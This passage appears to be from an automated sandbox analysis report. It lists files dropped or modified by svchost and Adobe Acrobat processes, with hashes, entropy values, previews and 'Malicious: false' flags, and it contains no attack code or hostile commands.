Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x555b81f9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217383166159126
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:LazaNvFv8V2UW/DLzN/w4wZi
MD5:	03D5740A40B33AAD3E17F5AA81E40F62
SHA1:	BE70E34019C0FB719CC19683722C9112936BD975
SHA-256:	7210109494C1237FB27434B0389309FE4BB634732B79BEC3E3D661AB7247EE88
SHA-512:	48C2B38406F669E50C3EBF93C9A2F31E4F6F9E8E66CAB883C994447857DD88DBE7DBA8F627BDECAB6DF9FFB81393785C4FB4E763EE50652F17A7D6D88AD88F0F
Malicious:	false
Preview:	U[..... ...............X\...;...{......................p.D..........{}.7!...}k.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................<.."7!...}...................3Y;7!...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08124602456502025
Encrypted:	false
SSDEEP:	3:hll/KYelwkBlqew/fgsCrZClW/tZeST4ll+SHY/Xl+/rQLve:hll/KzlTEewfgs3G1ToAS4M
MD5:	12B081AAE1CE19719DAAD834DBF9C135
SHA1:	4FE9788FE46DB6EFB2514E6D70DB420811269401
SHA-256:	0B2BA379CD39F06C4809107E1FE4AB51E4AF0E96E7775905DF216140C29569BA
SHA-512:	08956A4BDC45D33139492A2BA0DFCF1C434424CC760AE7BC89B0B177E3C9B6351FAF98D7B02EF6E8E27773C52ED85BCC0867167CEF41DA8E48A08FA0672790BF
Malicious:	false
Preview:	F.`q.....................................;...{..7!...}.......{}..............{}......{}.vv_Q.....{}..................3Y;7!...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.182174807303345
Encrypted:	false
SSDEEP:	6:iO4PRC+q2PqLTwi2nKuAl9OmbnIFUtSPfmXZmwsPfm3VkwOqLTwi2nKuAl9Ombjd:78RTv8wZHAahFUtCuX/wuF5TwZHAaSJ
MD5:	31E094DAB37213D1D6714FB5787BA6D9
SHA1:	E05537E7ED5B7298CAE402CD6BF7BE7F82C02ECC
SHA-256:	FFABA9A469946141A7758BFB1625E12624BF4CD3A1EC26FD48A34BB208DB048C
SHA-512:	00E795D95E5FF85D99B2C8FEE7E2A74EB35F67D1AE797919FC7A719AECC03BDF7F70C961F296CD3C806422642CE6CB8A93A652E38940EFC299C5070EA51F3C52
Malicious:	false
Preview:	2025/01/10-13:33:55.366 6a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:33:55.368 6a8 Recovering log #3.2025/01/10-13:33:55.368 6a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.182174807303345
Encrypted:	false
SSDEEP:	6:iO4PRC+q2PqLTwi2nKuAl9OmbnIFUtSPfmXZmwsPfm3VkwOqLTwi2nKuAl9Ombjd:78RTv8wZHAahFUtCuX/wuF5TwZHAaSJ
MD5:	31E094DAB37213D1D6714FB5787BA6D9
SHA1:	E05537E7ED5B7298CAE402CD6BF7BE7F82C02ECC
SHA-256:	FFABA9A469946141A7758BFB1625E12624BF4CD3A1EC26FD48A34BB208DB048C
SHA-512:	00E795D95E5FF85D99B2C8FEE7E2A74EB35F67D1AE797919FC7A719AECC03BDF7F70C961F296CD3C806422642CE6CB8A93A652E38940EFC299C5070EA51F3C52
Malicious:	false
Preview:	2025/01/10-13:33:55.366 6a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:33:55.368 6a8 Recovering log #3.2025/01/10-13:33:55.368 6a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.133304881622582
Encrypted:	false
SSDEEP:	6:iO4PaSFIq2PqLTwi2nKuAl9Ombzo2jMGIFUtSPEqZmwsPskwOqLTwi2nKuAl9OmT:78ev8wZHAa8uFUtCEq/ws5TwZHAa8RJ
MD5:	F35E6806F2313B85F5D5BAAB3329C4F6
SHA1:	35F122A85A228ED04A535E375026C953B82623F1
SHA-256:	E6A17F3CD9B46CF601ECE2B4C4FC55C51A37934F12873CA28B2D3E7401853F1D
SHA-512:	5483F6D3A124ED4E0D3A2812E710D10D70CCDF14680BC4EB03FE9C6BEA56AE3F8859DC21F5BF3C74566DF84453BEA4C621A64AB3DD73428948B091D1040A43AE
Malicious:	false
Preview:	2025/01/10-13:33:55.459 1e30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:33:55.460 1e30 Recovering log #3.2025/01/10-13:33:55.461 1e30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.133304881622582
Encrypted:	false
SSDEEP:	6:iO4PaSFIq2PqLTwi2nKuAl9Ombzo2jMGIFUtSPEqZmwsPskwOqLTwi2nKuAl9OmT:78ev8wZHAa8uFUtCEq/ws5TwZHAa8RJ
MD5:	F35E6806F2313B85F5D5BAAB3329C4F6
SHA1:	35F122A85A228ED04A535E375026C953B82623F1
SHA-256:	E6A17F3CD9B46CF601ECE2B4C4FC55C51A37934F12873CA28B2D3E7401853F1D
SHA-512:	5483F6D3A124ED4E0D3A2812E710D10D70CCDF14680BC4EB03FE9C6BEA56AE3F8859DC21F5BF3C74566DF84453BEA4C621A64AB3DD73428948B091D1040A43AE
Malicious:	false
Preview:	2025/01/10-13:33:55.459 1e30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:33:55.460 1e30 Recovering log #3.2025/01/10-13:33:55.461 1e30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\07d23f3f-05fb-4993-b87a-6cb4f50267fe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963716805413449
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjksBdOg2HRcaq3QYiub5P7E4T3y:Y2sRdseJdMHo3QYhbt7nby
MD5:	E303EDCA6B55CFD26BB89A77CD1424F1
SHA1:	53C7000CE4E7FF1AC3280912F180EE33C07C8056
SHA-256:	B35EE4D537D7F8A94B1857BCF6C9F9ADD174C1494BE6CEBEA66FCBBE8716C9F0
SHA-512:	33A7C51080420284CB6E4FDEC74E0132E98453B8561F760035981080B2708B4377A425743D628918B82118FA4DCBA270C99A5371B674966BB6D2007A6D1FC1A1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094041196992","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":388974},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963716805413449
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjksBdOg2HRcaq3QYiub5P7E4T3y:Y2sRdseJdMHo3QYhbt7nby
MD5:	E303EDCA6B55CFD26BB89A77CD1424F1
SHA1:	53C7000CE4E7FF1AC3280912F180EE33C07C8056
SHA-256:	B35EE4D537D7F8A94B1857BCF6C9F9ADD174C1494BE6CEBEA66FCBBE8716C9F0
SHA-512:	33A7C51080420284CB6E4FDEC74E0132E98453B8561F760035981080B2708B4377A425743D628918B82118FA4DCBA270C99A5371B674966BB6D2007A6D1FC1A1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094041196992","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":388974},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.222706986654043
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzdBHHb0o:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzjX
MD5:	A32875625B35F6AD4E1849466ADD42E7
SHA1:	1475AAFDF4B9834777FF248C89A178F9E55446CE
SHA-256:	B76E7FDEA940587D7E63F0F389CACD43DCCDFF812658C6F2E9B78F5DCDBF0E24
SHA-512:	68F7A9D95C6C49D6BF7A55E901A22B9F15C4FC2208C4B2CF8B7F539D750BF83F3A8D03231BEB155028BE9D0D98CEE219E78B85F63D36F4F32C939FE96CD5959A
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1414471370197115
Encrypted:	false
SSDEEP:	6:iO4PeZq2PqLTwi2nKuAl9OmbzNMxIFUtSP8VZmwsPKEkwOqLTwi2nKuAl9OmbzNq:784v8wZHAa8jFUtC8V/wv5TwZHAa84J
MD5:	DEDE6E10007E815822CBF8F5902EF9E1
SHA1:	F5DD3982787497C49314953CC0FBCA9EB559A883
SHA-256:	2A044F6CDE32BD16CA2205D7550771BE43D1F98DEEDA39A53DC32BC6EFAD2AE8
SHA-512:	A5625CB30DA304BD508041F832756172EDF5A12BD1E77999E2D8CA5BE6554C5095E298ECF4B3C04075ECA791468C2D8FA6BF363CEC22747D8F26EBD9A60945F7
Malicious:	false
Preview:	2025/01/10-13:33:55.743 1e30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:33:55.843 1e30 Recovering log #3.2025/01/10-13:33:55.848 1e30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1414471370197115
Encrypted:	false
SSDEEP:	6:iO4PeZq2PqLTwi2nKuAl9OmbzNMxIFUtSP8VZmwsPKEkwOqLTwi2nKuAl9OmbzNq:784v8wZHAa8jFUtC8V/wv5TwZHAa84J
MD5:	DEDE6E10007E815822CBF8F5902EF9E1
SHA1:	F5DD3982787497C49314953CC0FBCA9EB559A883
SHA-256:	2A044F6CDE32BD16CA2205D7550771BE43D1F98DEEDA39A53DC32BC6EFAD2AE8
SHA-512:	A5625CB30DA304BD508041F832756172EDF5A12BD1E77999E2D8CA5BE6554C5095E298ECF4B3C04075ECA791468C2D8FA6BF363CEC22747D8F26EBD9A60945F7
Malicious:	false
Preview:	2025/01/10-13:33:55.743 1e30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:33:55.843 1e30 Recovering log #3.2025/01/10-13:33:55.848 1e30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43838205724383
Encrypted:	false
SSDEEP:	384:Se3ci5GtiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:wBurVgazUpUTTGt
MD5:	4F2221577E168714B36880DBB4A86131
SHA1:	ED3EC3051B6E0C39A1283488597D3764F13D0D01
SHA-256:	0714F617CB24E90A4EB907846B1F5F20ED1063BF317B63D45839C94A4344372A
SHA-512:	E579EAAECCBA2013176B791EAA379D4AD27F9720ECFB87E1CFB2AF99DCA9711FEB59C0AD1A7363A7125FEACD5318D3ED5DC99B62AA663BA8B395F26737C5DA51
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2131427556324113
Encrypted:	false
SSDEEP:	24:7+tM46wKHpqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Ml:7M/WHpqPmFTIF3XmHjBoGGR+jMz+Lho
MD5:	062CC0E326B6259E1787184B33CEE152
SHA1:	545390B8291A8A55A0C1745FD1CF21667D690A88
SHA-256:	83FEC90EEF1E6B29093A9D63655832859199D4952CEA83B6EE598221D04F54B0
SHA-512:	C3E4BC07C2ED0A1563584C0A905A5985EAA9C02B0B47C3BE5884676F50C169D9E98A2FA5178A7FF4988FD7520C9A28552C8454F8C018094F45B7E5BE06FF1F63
Malicious:	false
Preview:	.... .c.....a\..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklJIq/ltfllXlE/HT8khazvNNX8RolJuRdxLlGB9lQRYwpDdt:kK8eT8o4NMa8RdWBwRd
MD5:	76C4F7A6672ED103FE3FE5DEC3D8E0D6
SHA1:	48857BA1BB1E984EC8EEDAB172B95700FB6B33CD
SHA-256:	CE922753C9B878BFD45228A11EFD2F696730D30035105DECF943286DCA51A2B0
SHA-512:	DD7FD223DD098C755F2B5CE9E0D0DC31373467AA8AFC1A447F7AFEE1C8B780A0DE0A870089EB21532628ECAFA3BD7B9056B1786907394881823B3AB993A8E6FE
Malicious:	false
Preview:	p...... ........:w*<.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKSri/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3/iDImsLNkPlE99SNxAhUe/3
MD5:	A8FC68A2265EFFAB6C3E6004E83351A6
SHA1:	D9C8A05CB908B1BE9244E6DA219F3741FF5E1D7C
SHA-256:	C4C2B47FFAC1CF5BFABFC1F69CCE6DB0D8F89B3F154E792B19B4564D240F6D48
SHA-512:	C1CFE75D04F343CE4F7C8D243DDC5C0C5BA4351C37E7CCA991459EA54A31CDE52B3CBBBB23727C128288CE4ADC99FBC500CA5C484115FFE2878C2525211CD074
Malicious:	false
Preview:	p...... .........!hN.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7332

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
